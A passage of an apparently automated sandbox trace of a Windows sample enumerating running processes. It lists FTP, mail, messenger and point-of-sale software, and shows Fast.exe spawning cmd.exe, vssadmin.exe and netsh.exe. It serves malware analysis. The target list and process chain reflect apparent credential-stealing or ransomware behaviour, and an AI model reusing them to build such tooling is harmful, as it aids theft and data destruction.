hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="collective.exe")) returned 1 [0073.068] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mls-miracle-bestsellers.exe")) returned 1 [0073.069] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshot-venture-distance.exe")) returned 1 [0073.071] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="meditation-vic-easily.exe")) returned 1 [0073.072] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="request-mhz.exe")) returned 1 [0073.074] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x850, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="jefferson.exe")) returned 1 [0073.076] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0073.077] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0073.079] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x880, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0073.081] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0073.083] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0073.084] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0073.086] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0073.087] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0073.090] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0073.091] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0073.093] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0073.094] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0073.095] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0073.097] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0073.099] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0073.102] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0073.104] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0073.108] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0073.111] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0073.113] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0073.116] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0073.118] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0073.120] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0073.123] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0073.125] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0073.128] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0073.137] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0073.140] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0073.142] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0073.145] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0073.147] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0073.149] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0073.152] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0073.307] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0073.311] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0073.314] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0073.316] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0073.318] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0073.320] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0073.322] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0073.324] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0073.326] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0073.329] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lay-compromise.exe")) returned 1 [0073.331] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="neural_allowance.exe")) returned 1 [0073.333] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="presents.exe")) returned 1 [0073.335] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="latino powers economics.exe")) returned 1 [0073.337] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lbs essentially nyc.exe")) returned 1 [0073.338] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0074.325] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0074.347] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0074.349] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa84, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0074.351] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa84, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.352] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa84, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.354] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.356] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.363] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x808, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0074.366] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0074.368] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 0 [0074.370] CloseHandle (hObject=0x1c4) returned 1 [0074.370] Sleep (dwMilliseconds=0x1f4) [0075.650] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x164 [0075.658] Process32FirstW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0075.660] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0075.661] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0075.663] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0075.665] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0075.666] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0075.668] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0075.670] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0075.671] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0075.673] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0075.674] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.676] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.677] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.679] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.680] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.682] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0076.487] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.489] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.492] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0076.493] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: 